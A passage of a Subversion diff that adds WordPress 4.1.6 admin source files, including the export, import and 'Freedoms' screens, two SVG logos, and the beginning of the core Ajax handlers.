+	$wp_list_table->inline_edit();
+?>
+
+<div id="ajax-response"></div>
+<br class="clear" />
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/export.php
===================================================================
--- /tags/4.1.6/src/wp-admin/export.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/export.php	(revision 33402)
@@ -0,0 +1,244 @@
+<?php
+/**
+ * WordPress Export Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !current_user_can('export') )
+	wp_die(__('You do not have sufficient permissions to export the content of this site.'));
+
+/** Load WordPress export API */
+require_once( ABSPATH . 'wp-admin/includes/export.php' );
+$title = __('Export');
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ */
+function export_add_js() {
+?>
+<script type="text/javascript">
+//<![CDATA[
+	jQuery(document).ready(function($){
+ 		var form = $('#export-filters'),
+ 			filters = form.find('.export-filters');
+ 		filters.hide();
+ 		form.find('input:radio').change(function() {
+			filters.slideUp('fast');
+			switch ( $(this).val() ) {
+				case 'posts': $('#post-filters').slideDown(); break;
+				case 'pages': $('#page-filters').slideDown(); break;
+			}
+ 		});
+	});
+//]]>
+</script>
+<?php
+}
+add_action( 'admin_head', 'export_add_js' );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('You can export a file of your site&#8217;s content in order to import it into another installation or platform. The export file will be an XML file format called WXR. Posts, pages, comments, custom fields, categories, and tags can be included. You can choose for the WXR file to include only certain posts or pages by setting the dropdown filters to limit the export by category, author, date range by month, or publishing status.') . '</p>' .
+		'<p>' . __('Once generated, your WXR file can be imported by another WordPress site or by another blogging platform able to access this format.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Tools_Export_Screen" target="_blank">Documentation on Export</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+// If the 'download' URL parameter is set, a WXR export file is baked and returned.
+if ( isset( $_GET['download'] ) ) {
+	$args = array();
+
+	if ( ! isset( $_GET['content'] ) || 'all' == $_GET['content'] ) {
+		$args['content'] = 'all';
+	} else if ( 'posts' == $_GET['content'] ) {
+		$args['content'] = 'post';
+
+		if ( $_GET['cat'] )
+			$args['category'] = (int) $_GET['cat'];
+
+		if ( $_GET['post_author'] )
+			$args['author'] = (int) $_GET['post_author'];
+
+		if ( $_GET['post_start_date'] || $_GET['post_end_date'] ) {
+			$args['start_date'] = $_GET['post_start_date'];
+			$args['end_date'] = $_GET['post_end_date'];
+		}
+
+		if ( $_GET['post_status'] )
+			$args['status'] = $_GET['post_status'];
+	} else if ( 'pages' == $_GET['content'] ) {
+		$args['content'] = 'page';
+
+		if ( $_GET['page_author'] )
+			$args['author'] = (int) $_GET['page_author'];
+
+		if ( $_GET['page_start_date'] || $_GET['page_end_date'] ) {
+			$args['start_date'] = $_GET['page_start_date'];
+			$args['end_date'] = $_GET['page_end_date'];
+		}
+
+		if ( $_GET['page_status'] )
+			$args['status'] = $_GET['page_status'];
+	} else {
+		$args['content'] = $_GET['content'];
+	}
+
+	/**
+	 * Filter the export args.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $args The arguments to send to the exporter.
+	 */
+	$args = apply_filters( 'export_args', $args );
+
+	export_wp( $args );
+	die();
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+/**
+ * Create the date options fields for exporting a given post type.
+ *
+ * @global wpdb      $wpdb      WordPress database abstraction object.
+ * @global WP_Locale $wp_locale Date and Time Locale object.
+ *
+ * @since 3.1.0
+ *
+ * @param string $post_type The post type. Default 'post'.
+ */
+function export_date_options( $post_type = 'post' ) {
+	global $wpdb, $wp_locale;
+
+	$months = $wpdb->get_results( $wpdb->prepare( "
+		SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
+		FROM $wpdb->posts
+		WHERE post_type = %s AND post_status != 'auto-draft'
+		ORDER BY post_date DESC
+	", $post_type ) );
+
+	$month_count = count( $months );
+	if ( !$month_count || ( 1 == $month_count && 0 == $months[0]->month ) )
+		return;
+
+	foreach ( $months as $date ) {
+		if ( 0 == $date->year )
+			continue;
+
+		$month = zeroise( $date->month, 2 );
+		echo '<option value="' . $date->year . '-' . $month . '">' . $wp_locale->get_month( $month ) . ' ' . $date->year . '</option>';
+	}
+}
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<p><?php _e('When you click the button below WordPress will create an XML file for you to save to your computer.'); ?></p>
+<p><?php _e('This format, which we call WordPress eXtended RSS or WXR, will contain your posts, pages, comments, custom fields, categories, and tags.'); ?></p>
+<p><?php _e('Once you&#8217;ve saved the download file, you can use the Import function in another WordPress installation to import the content from this site.'); ?></p>
+
+<h3><?php _e( 'Choose what to export' ); ?></h3>
+<form action="" method="get" id="export-filters">
+<input type="hidden" name="download" value="true" />
+<p><label><input type="radio" name="content" value="all" checked="checked" /> <?php _e( 'All content' ); ?></label></p>
+<p class="description"><?php _e( 'This will contain all of your posts, pages, comments, custom fields, terms, navigation menus and custom posts.' ); ?></p>
+
+<p><label><input type="radio" name="content" value="posts" /> <?php _e( 'Posts' ); ?></label></p>
+<ul id="post-filters" class="export-filters">
+	<li>
+		<label><?php _e( 'Categories:' ); ?></label>
+		<?php wp_dropdown_categories( array( 'show_option_all' => __('All') ) ); ?>
+	</li>
+	<li>
+		<label><?php _e( 'Authors:' ); ?></label>
+<?php
+		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'post'" );
+		wp_dropdown_users( array( 'include' => $authors, 'name' => 'post_author', 'multi' => true, 'show_option_all' => __('All') ) );
+?>
+	</li>
+	<li>
+		<label><?php _e( 'Date range:' ); ?></label>
+		<select name="post_start_date">
+			<option value="0"><?php _e( 'Start Date' ); ?></option>
+			<?php export_date_options(); ?>
+		</select>
+		<select name="post_end_date">
+			<option value="0"><?php _e( 'End Date' ); ?></option>
+			<?php export_date_options(); ?>
+		</select>
+	</li>
+	<li>
+		<label><?php _e( 'Status:' ); ?></label>
+		<select name="post_status">
+			<option value="0"><?php _e( 'All' ); ?></option>
+			<?php $post_stati = get_post_stati( array( 'internal' => false ), 'objects' );
+			foreach ( $post_stati as $status ) : ?>
+			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
+			<?php endforeach; ?>
+		</select>
+	</li>
+</ul>
+
+<p><label><input type="radio" name="content" value="pages" /> <?php _e( 'Pages' ); ?></label></p>
+<ul id="page-filters" class="export-filters">
+	<li>
+		<label><?php _e( 'Authors:' ); ?></label>
+<?php
+		$authors = $wpdb->get_col( "SELECT DISTINCT post_author FROM {$wpdb->posts} WHERE post_type = 'page'" );
+		wp_dropdown_users( array( 'include' => $authors, 'name' => 'page_author', 'multi' => true, 'show_option_all' => __('All') ) );
+?>
+	</li>
+	<li>
+		<label><?php _e( 'Date range:' ); ?></label>
+		<select name="page_start_date">
+			<option value="0"><?php _e( 'Start Date' ); ?></option>
+			<?php export_date_options( 'page' ); ?>
+		</select>
+		<select name="page_end_date">
+			<option value="0"><?php _e( 'End Date' ); ?></option>
+			<?php export_date_options( 'page' ); ?>
+		</select>
+	</li>
+	<li>
+		<label><?php _e( 'Status:' ); ?></label>
+		<select name="page_status">
+			<option value="0"><?php _e( 'All' ); ?></option>
+			<?php foreach ( $post_stati as $status ) : ?>
+			<option value="<?php echo esc_attr( $status->name ); ?>"><?php echo esc_html( $status->label ); ?></option>
+			<?php endforeach; ?>
+		</select>
+	</li>
+</ul>
+
+<?php foreach ( get_post_types( array( '_builtin' => false, 'can_export' => true ), 'objects' ) as $post_type ) : ?>
+<p><label><input type="radio" name="content" value="<?php echo esc_attr( $post_type->name ); ?>" /> <?php echo esc_html( $post_type->label ); ?></label></p>
+<?php endforeach; ?>
+
+<?php
+/**
+ * Fires after the export filters form.
+ *
+ * @since 3.5.0
+ */
+do_action( 'export_filters' );
+?>
+
+<?php submit_button( __('Download Export File') ); ?>
+</form>
+</div>
+
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/freedoms.php
===================================================================
--- /tags/4.1.6/src/wp-admin/freedoms.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/freedoms.php	(revision 33402)
@@ -0,0 +1,57 @@
+<?php
+/**
+ * Your Rights administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$title = __( 'Freedoms' );
+
+list( $display_version ) = explode( '-', $wp_version );
+
+include( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap about-wrap">
+
+<h1><?php printf( __( 'Welcome to WordPress %s' ), $display_version ); ?></h1>
+
+<div class="about-text"><?php printf( __( 'Thank you for updating! WordPress %s helps you focus on your writing, and the new default theme lets you show it off in style.' ), $display_version ); ?></div>
+
+<div class="wp-badge"><?php printf( __( 'Version %s' ), $display_version ); ?></div>
+
+<h2 class="nav-tab-wrapper">
+	<a href="about.php" class="nav-tab">
+		<?php _e( 'What&#8217;s New' ); ?>
+	</a><a href="credits.php" class="nav-tab">
+		<?php _e( 'Credits' ); ?>
+	</a><a href="freedoms.php" class="nav-tab nav-tab-active">
+		<?php _e( 'Freedoms' ); ?>
+	</a>
+</h2>
+
+<p class="about-description"><?php printf( __( 'WordPress is Free and open source software, built by a distributed community of mostly volunteer developers from around the world. WordPress comes with some awesome, worldview-changing rights courtesy of its <a href="%s">license</a>, the GPL.' ), 'https://wordpress.org/about/license/' ); ?></p>
+
+<ol start="0">
+	<li><p><?php _e( 'You have the freedom to run the program, for any purpose.' ); ?></p></li>
+	<li><p><?php _e( 'You have access to the source code, the freedom to study how the program works, and the freedom to change it to make it do what you wish.' ); ?></p></li>
+	<li><p><?php _e( 'You have the freedom to redistribute copies of the original program so you can help your neighbor.' ); ?></p></li>
+	<li><p><?php _e( 'You have the freedom to distribute copies of your modified versions to others. By doing this you can give the whole community a chance to benefit from your changes.' ); ?></p></li>
+</ol>
+
+<p><?php printf( __( 'WordPress grows when people like you tell their friends about it, and the thousands of businesses and services that are built on and around WordPress share that fact with their users. We&#8217;re flattered every time someone spreads the good word, just make sure to <a href="%s">check out our trademark guidelines</a> first.' ), 'http://wordpressfoundation.org/trademark-policy/' ); ?></p>
+
+<p><?php
+
+$plugins_url = current_user_can( 'activate_plugins' ) ? admin_url( 'plugins.php' ) : 'https://wordpress.org/plugins/';
+$themes_url = current_user_can( 'switch_themes' ) ? admin_url( 'themes.php' ) : 'https://wordpress.org/themes/';
+
+printf( __( 'Every plugin and theme in WordPress.org&#8217;s directory is 100%% GPL or a similarly free and compatible license, so you can feel safe finding <a href="%1$s">plugins</a> and <a href="%2$s">themes</a> there. If you get a plugin or theme from another source, make sure to <a href="%3$s">ask them if it&#8217;s GPL</a> first. If they don&#8217;t respect the WordPress license, we don&#8217;t recommend them.' ), $plugins_url, $themes_url, 'https://wordpress.org/about/license/' ); ?></p>
+
+<p><?php _e( 'Don&#8217;t you wish all software came with these freedoms? So do we! For more information, check out the <a href="http://www.fsf.org/">Free Software Foundation</a>.' ); ?></p>
+
+</div>
+<?php include( ABSPATH . 'wp-admin/admin-footer.php' ); ?>
Index: /tags/4.1.6/src/wp-admin/images/wordpress-logo-white.svg
===================================================================
--- /tags/4.1.6/src/wp-admin/images/wordpress-logo-white.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/images/wordpress-logo-white.svg	(revision 33402)
@@ -0,0 +1,1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="64px" height="64px" viewBox="0 0 64 64" enable-background="new 0 0 64 64" xml:space="preserve"><style>.style0{fill:#fff;}</style><g><g><path d="M4.548 31.999c0 10.9 6.3 20.3 15.5 24.706L6.925 20.827C5.402 24.2 4.5 28 4.5 31.999z M50.531 30.614c0-3.394-1.219-5.742-2.264-7.57c-1.391-2.263-2.695-4.177-2.695-6.439c0-2.523 1.912-4.872 4.609-4.872 c0.121 0 0.2 0 0.4 0.022C45.653 7.3 39.1 4.5 32 4.548c-9.591 0-18.027 4.921-22.936 12.4 c0.645 0 1.3 0 1.8 0.033c2.871 0 7.316-0.349 7.316-0.349c1.479-0.086 1.7 2.1 0.2 2.3 c0 0-1.487 0.174-3.142 0.261l9.997 29.735l6.008-18.017l-4.276-11.718c-1.479-0.087-2.879-0.261-2.879-0.261 c-1.48-0.087-1.306-2.349 0.174-2.262c0 0 4.5 0.3 7.2 0.349c2.87 0 7.317-0.349 7.317-0.349 c1.479-0.086 1.7 2.1 0.2 2.262c0 0-1.489 0.174-3.142 0.261l9.92 29.508l2.739-9.148 C49.628 35.7 50.5 33 50.5 30.614z M32.481 34.4l-8.237 23.934c2.46 0.7 5.1 1.1 7.8 1.1 c3.197 0 6.262-0.552 9.116-1.556c-0.072-0.118-0.141-0.243-0.196-0.379L32.481 34.4z M56.088 18.8 c0.119 0.9 0.2 1.8 0.2 2.823c0 2.785-0.521 5.916-2.088 9.832l-8.385 24.242c8.161-4.758 13.65-13.6 13.65-23.728 C59.451 27.2 58.2 22.7 56.1 18.83z M32 0c-17.645 0-32 14.355-32 32C0 49.6 14.4 64 32 64s32-14.355 32-32.001 C64 14.4 49.6 0 32 0z M32 62.533c-16.835 0-30.533-13.698-30.533-30.534C1.467 15.2 15.2 1.5 32 1.5 s30.534 13.7 30.5 30.532C62.533 48.8 48.8 62.5 32 62.533z" class="style0"/></g></g></svg>
Index: /tags/4.1.6/src/wp-admin/images/wordpress-logo.svg
===================================================================
--- /tags/4.1.6/src/wp-admin/images/wordpress-logo.svg	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/images/wordpress-logo.svg	(revision 33402)
@@ -0,0 +1,1 @@
+<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="64px" height="64px" viewBox="0 0 64 64" enable-background="new 0 0 64 64" xml:space="preserve"><style>.style0{fill:	#0074A2;}</style><g><g><path d="M4.548 31.999c0 10.9 6.3 20.3 15.5 24.706L6.925 20.827C5.402 24.2 4.5 28 4.5 31.999z M50.531 30.614c0-3.394-1.219-5.742-2.264-7.57c-1.391-2.263-2.695-4.177-2.695-6.439c0-2.523 1.912-4.872 4.609-4.872 c0.121 0 0.2 0 0.4 0.022C45.653 7.3 39.1 4.5 32 4.548c-9.591 0-18.027 4.921-22.936 12.4 c0.645 0 1.3 0 1.8 0.033c2.871 0 7.316-0.349 7.316-0.349c1.479-0.086 1.7 2.1 0.2 2.3 c0 0-1.487 0.174-3.142 0.261l9.997 29.735l6.008-18.017l-4.276-11.718c-1.479-0.087-2.879-0.261-2.879-0.261 c-1.48-0.087-1.306-2.349 0.174-2.262c0 0 4.5 0.3 7.2 0.349c2.87 0 7.317-0.349 7.317-0.349 c1.479-0.086 1.7 2.1 0.2 2.262c0 0-1.489 0.174-3.142 0.261l9.92 29.508l2.739-9.148 C49.628 35.7 50.5 33 50.5 30.614z M32.481 34.4l-8.237 23.934c2.46 0.7 5.1 1.1 7.8 1.1 c3.197 0 6.262-0.552 9.116-1.556c-0.072-0.118-0.141-0.243-0.196-0.379L32.481 34.4z M56.088 18.8 c0.119 0.9 0.2 1.8 0.2 2.823c0 2.785-0.521 5.916-2.088 9.832l-8.385 24.242c8.161-4.758 13.65-13.6 13.65-23.728 C59.451 27.2 58.2 22.7 56.1 18.83z M32 0c-17.645 0-32 14.355-32 32C0 49.6 14.4 64 32 64s32-14.355 32-32.001 C64 14.4 49.6 0 32 0z M32 62.533c-16.835 0-30.533-13.698-30.533-30.534C1.467 15.2 15.2 1.5 32 1.5 s30.534 13.7 30.5 30.532C62.533 48.8 48.8 62.5 32 62.533z" class="style0"/></g></g></svg>
Index: /tags/4.1.6/src/wp-admin/import.php
===================================================================
--- /tags/4.1.6/src/wp-admin/import.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/import.php	(revision 33402)
@@ -0,0 +1,132 @@
+<?php
+/**
+ * Import WordPress Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+define('WP_LOAD_IMPORTERS', true);
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !current_user_can('import') )
+	wp_die(__('You do not have sufficient permissions to import content in this site.'));
+
+$title = __('Import');
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('This screen lists links to plugins to import data from blogging/content management platforms. Choose the platform you want to import from, and click Install Now when you are prompted in the popup window. If your platform is not listed, click the link to search the plugin directory for other importer plugins to see if there is one for your platform.') . '</p>' .
+		'<p>' . __('In previous versions of WordPress, all importers were built-in. They have been turned into plugins since most people only use them once or infrequently.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Tools_Import_Screen" target="_blank">Documentation on Import</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+if ( current_user_can( 'install_plugins' ) )
+	$popular_importers = wp_get_popular_importers();
+else
+	$popular_importers = array();
+
+// Detect and redirect invalid importers like 'movabletype', which is registered as 'mt'
+if ( ! empty( $_GET['invalid'] ) && isset( $popular_importers[ $_GET['invalid'] ] ) ) {
+	$importer_id = $popular_importers[ $_GET['invalid'] ]['importer-id'];
+	if ( $importer_id != $_GET['invalid'] ) { // Prevent redirect loops.
+		wp_redirect( admin_url( 'admin.php?import=' . $importer_id ) );
+		exit;
+	}
+	unset( $importer_id );
+}
+
+add_thickbox();
+wp_enqueue_script( 'plugin-install' );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+$parent_file = 'tools.php';
+?>
+
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+<?php if ( ! empty( $_GET['invalid'] ) ) : ?>
+	<div class="error"><p><strong><?php _e('ERROR:')?></strong> <?php printf( __('The <strong>%s</strong> importer is invalid or is not installed.'), esc_html( $_GET['invalid'] ) ); ?></p></div>
+<?php endif; ?>
+<p><?php _e('If you have posts or comments in another system, WordPress can import those into this site. To get started, choose a system to import from below:'); ?></p>
+
+<?php
+
+$importers = get_importers();
+
+// If a popular importer is not registered, create a dummy registration that links to the plugin installer.
+foreach ( $popular_importers as $pop_importer => $pop_data ) {
+	if ( isset( $importers[ $pop_importer ] ) )
+		continue;
+	if ( isset( $importers[ $pop_data['importer-id'] ] ) )
+		continue;
+	$importers[ $pop_data['importer-id'] ] = array( $pop_data['name'], $pop_data['description'], 'install' => $pop_data['plugin-slug'] );
+}
+
+if ( empty( $importers ) ) {
+	echo '<p>' . __('No importers are available.') . '</p>'; // TODO: make more helpful
+} else {
+	uasort( $importers, '_usort_by_first_member' );
+?>
+<table class="widefat importers">
+
+<?php
+	$alt = '';
+	foreach ($importers as $importer_id => $data) {
+		$action = '';
+		if ( isset( $data['install'] ) ) {
+			$plugin_slug = $data['install'];
+			if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin_slug ) ) {
+				// Looks like Importer is installed, But not active
+				$plugins = get_plugins( '/' . $plugin_slug );
+				if ( !empty($plugins) ) {
+					$keys = array_keys($plugins);
+					$plugin_file = $plugin_slug . '/' . $keys[0];
+					$action = '<a href="' . esc_url(wp_nonce_url(admin_url('plugins.php?action=activate&plugin=' . $plugin_file . '&from=import'), 'activate-plugin_' . $plugin_file)) .
+											'"title="' . esc_attr__('Activate importer') . '"">' . $data[0] . '</a>';
+				}
+			}
+			if ( empty($action) ) {
+				if ( is_main_site() ) {
+					$action = '<a href="' . esc_url( network_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin_slug .
+										'&from=import&TB_iframe=true&width=600&height=550' ) ) . '" class="thickbox" title="' .
+										esc_attr__('Install importer') . '">' . $data[0] . '</a>';
+				} else {
+					$action = $data[0];
+					$data[1] = sprintf( __( 'This importer is not installed. Please install importers from <a href="%s">the main site</a>.' ), get_admin_url( $current_site->blog_id, 'import.php' ) );
+				}
+			}
+		} else {
+			$action = "<a href='" . esc_url( "admin.php?import=$importer_id" ) . "' title='" . esc_attr( wptexturize( strip_tags( $data[1] ) ) ) ."'>{$data[0]}</a>";
+		}
+
+		$alt = $alt ? '' : ' class="alternate"';
+		echo "
+			<tr$alt>
+				<td class='import-system row-title'>$action</td>
+				<td class='desc'>{$data[1]}</td>
+			</tr>";
+	}
+?>
+
+</table>
+<?php
+}
+
+if ( current_user_can('install_plugins') )
+	echo '<p>' . sprintf( __('If the importer you need is not listed, <a href="%s">search the plugin directory</a> to see if an importer is available.'), esc_url( network_admin_url( 'plugin-install.php?tab=search&type=tag&s=importer' ) ) ) . '</p>';
+?>
+
+</div>
+
+<?php
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/includes/admin.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/admin.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/admin.php	(revision 33402)
@@ -0,0 +1,74 @@
+<?php
+/**
+ * Includes all of the WordPress Administration API files.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+if ( ! defined('WP_ADMIN') ) {
+	/*
+	 * This file is being included from a file other than wp-admin/admin.php, so
+	 * some setup was skipped. Make sure the admin message catalog is loaded since
+	 * load_default_textdomain() will not have done so in this context.
+	 */
+	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . get_locale() . '.mo' );
+}
+
+/** WordPress Bookmark Administration API */
+require_once(ABSPATH . 'wp-admin/includes/bookmark.php');
+
+/** WordPress Comment Administration API */
+require_once(ABSPATH . 'wp-admin/includes/comment.php');
+
+/** WordPress Administration File API */
+require_once(ABSPATH . 'wp-admin/includes/file.php');
+
+/** WordPress Image Administration API */
+require_once(ABSPATH . 'wp-admin/includes/image.php');
+
+/** WordPress Media Administration API */
+require_once(ABSPATH . 'wp-admin/includes/media.php');
+
+/** WordPress Import Administration API */
+require_once(ABSPATH . 'wp-admin/includes/import.php');
+
+/** WordPress Misc Administration API */
+require_once(ABSPATH . 'wp-admin/includes/misc.php');
+
+/** WordPress Plugin Administration API */
+require_once(ABSPATH . 'wp-admin/includes/plugin.php');
+
+/** WordPress Post Administration API */
+require_once(ABSPATH . 'wp-admin/includes/post.php');
+
+/** WordPress Administration Screen API */
+require_once(ABSPATH . 'wp-admin/includes/screen.php');
+
+/** WordPress Taxonomy Administration API */
+require_once(ABSPATH . 'wp-admin/includes/taxonomy.php');
+
+/** WordPress Template Administration API */
+require_once(ABSPATH . 'wp-admin/includes/template.php');
+
+/** WordPress List Table Administration API and base class */
+require_once(ABSPATH . 'wp-admin/includes/class-wp-list-table.php');
+require_once(ABSPATH . 'wp-admin/includes/list-table.php');
+
+/** WordPress Theme Administration API */
+require_once(ABSPATH . 'wp-admin/includes/theme.php');
+
+/** WordPress User Administration API */
+require_once(ABSPATH . 'wp-admin/includes/user.php');
+
+/** WordPress Update Administration API */
+require_once(ABSPATH . 'wp-admin/includes/update.php');
+
+/** WordPress Deprecated Administration API */
+require_once(ABSPATH . 'wp-admin/includes/deprecated.php');
+
+/** WordPress Multisite support API */
+if ( is_multisite() ) {
+	require_once(ABSPATH . 'wp-admin/includes/ms.php');
+	require_once(ABSPATH . 'wp-admin/includes/ms-deprecated.php');
+}
Index: /tags/4.1.6/src/wp-admin/includes/ajax-actions.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/ajax-actions.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/ajax-actions.php	(revision 33402)
@@ -0,0 +1,2831 @@
+<?php
+/**
+ * WordPress Core Ajax Handlers.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+//
+// No-privilege Ajax handlers.
+//
+
+/**
+ * Ajax handler for the Heartbeat API in
+ * the no-privilege context.
+ *
+ * Runs when the user is not logged in.
+ *
+ * @since 3.6.0
+ */
+function wp_ajax_nopriv_heartbeat() {
+	$response = array();
+
+	// screen_id is the same as $current_screen->id and the JS global 'pagenow'.
+	if ( ! empty($_POST['screen_id']) )
+		$screen_id = sanitize_key($_POST['screen_id']);
+	else
+		$screen_id = 'front';
+
+	if ( ! empty($_POST['data']) ) {
+		$data = wp_unslash( (array) $_POST['data'] );
+
+		/**
+		 * Filter Heartbeat AJAX response in no-privilege environments.
+		 *
+		 * @since 3.6.0
+		 *
+		 * @param array|object $response  The no-priv Heartbeat response object or array.
+		 * @param array        $data      An array of data passed via $_POST.
+		 * @param string       $screen_id The screen id.
+		 */
+		$response = apply_filters( 'heartbeat_nopriv_received', $response, $data, $screen_id );
+	}
+
+	/**
+	 * Filter Heartbeat AJAX response when no data is passed.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array|object $response  The Heartbeat response object or array.
+	 * @param string       $screen_id The screen id.
+	 */
+	$response = apply_filters( 'heartbeat_nopriv_send', $response, $screen_id );
+
+	/**
+	 * Fires when Heartbeat ticks in no-privilege environments.
+	 *
+	 * Allows the transport to be easily replaced with long-polling.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param array|object $response  The no-priv Heartbeat response.
+	 * @param string       $screen_id The screen id.
+	 */
+	do_action( 'heartbeat_nopriv_tick', $response, $screen_id );
+
+	// Send the current time according to the server.
+	$response['server_time'] = time();
+
+	wp_send_json($response);
+}
+
+//
+// GET-based Ajax handlers.
+//
+
+/**
+ * Ajax handler for fetching a list table.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_fetch_list() {
+	global $wp_list_table;
+
+	$list_class = $_GET['list_args']['class'];
+	check_ajax_referer( "fetch-list-$list_class", '_ajax_fetch_list_nonce' );
+
+	$wp_list_table = _get_list_table( $list_class, array( 'screen' => $_GET['list_args']['screen']['id'] ) );
+	if ( ! $wp_list_table )
+		wp_die( 0 );
+
+	if ( ! $wp_list_table->ajax_user_can() )
+		wp_die( -1 );
+
+	$wp_list_table->ajax_response();
+
+	wp_die( 0 );
+}
+
+/**
+ * Ajax handler for tag search.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_ajax_tag_search() {
+	if ( ! isset( $_GET['tax'] ) ) {
+		wp_die( 0 );
+	}
+
+	$taxonomy = sanitize_key( $_GET['tax'] );
+	$tax = get_taxonomy( $taxonomy );
+	if ( ! $tax ) {
+		wp_die( 0 );
+	}
+
+	if ( ! current_user_can( $tax->cap->assign_terms ) ) {
+		wp_die( -1 );
+	}
+
+	$s = wp_unslash( $_GET['q'] );
+
+	$comma = _x( ',', 'tag delimiter' );
+	if ( ',' !== $comma )
+		$s = str_replace( $comma, ',', $s );
+	if ( false !== strpos( $s, ',' ) ) {
+		$s = explode( ',', $s );
+		$s = $s[count( $s ) - 1];
+	}
+	$s = trim( $s );
+
+	/**
+	 * Filter the minimum number of characters required to fire a tag search via AJAX.
+	 *
+	 * @since 4.0.0
+	 *
+	 * @param int    $characters The minimum number of characters required. Default 2.
+	 * @param object $tax        The taxonomy object.
+	 * @param string $s          The search term.
+	 */
+	$term_search_min_chars = (int) apply_filters( 'term_search_min_chars', 2, $tax, $s );
+
+	/*
+	 * Require $term_search_min_chars chars for matching (default: 2)
+	 * ensure it's a non-negative, non-zero integer.
+	 */
+	if ( ( $term_search_min_chars == 0 ) || ( strlen( $s ) < $term_search_min_chars ) ){
+		wp_die();
+	}
+
+	$results = get_terms( $taxonomy, array( 'name__like' => $s, 'fields' => 'names', 'hide_empty' => false ) );
+
+	echo join( $results, "\n" );
+	wp_die();
+}
+
+/**
+ * Ajax handler for compression testing.
+ *
+ * @since 3.1.0
+ */
+function wp_ajax_wp_compression_test() {
+	if ( !current_user_can( 'manage_options' ) )
+		wp_die( -1 );
+
+	if ( ini_get('zlib.output_compression') || 'ob_gzhandler' == ini_get('output_handler') ) {
+		update_site_option('can_compress_scripts', 0);
+		wp_die( 0 );
+	}
+
+	if ( isset($_GET['test']) ) {
+		header( 'Expires: Wed, 11 Jan 1984 05:00:00 GMT' );
+		header( 'Last-Modified: ' . gmdate( 'D, d M Y H:i:s' ) . ' GMT' );
+		header( 'Cache-Control: no-cache, must-revalidate, max-age=0' );
+		header( 'Pragma: no-cache' );
+		header('Content-Type: application/x-javascript; charset=UTF-8');
+		$force_gzip = ( defined('ENFORCE_GZIP') && ENFORCE_GZIP );
+		$test_str = '"wpCompressionTest Lorem ipsum dolor sit amet consectetuer mollis sapien urna ut a. Eu nonummy condimentum fringilla tempor pretium platea vel nibh netus Maecenas. Hac molestie amet justo quis pellentesque est ultrices interdum nibh Morbi. Cras mattis pretium Phasellus ante ipsum ipsum ut sociis Suspendisse Lorem. Ante et non molestie. Porta urna Vestibulum egestas id congue nibh eu risus gravida sit. Ac augue auctor Ut et non a elit massa id sodales. Elit eu Nulla at nibh adipiscing mattis lacus mauris at tempus. Netus nibh quis suscipit nec feugiat eget sed lorem et urna. Pellentesque lacus at ut massa consectetuer ligula ut auctor semper Pellentesque. Ut metus massa nibh quam Curabitur molestie nec mauris congue. Volutpat molestie elit justo facilisis neque ac risus Ut nascetur tristique. Vitae sit lorem tellus et quis Phasellus lacus tincidunt nunc Fusce. Pharetra wisi Suspendisse mus sagittis libero lacinia Integer consequat 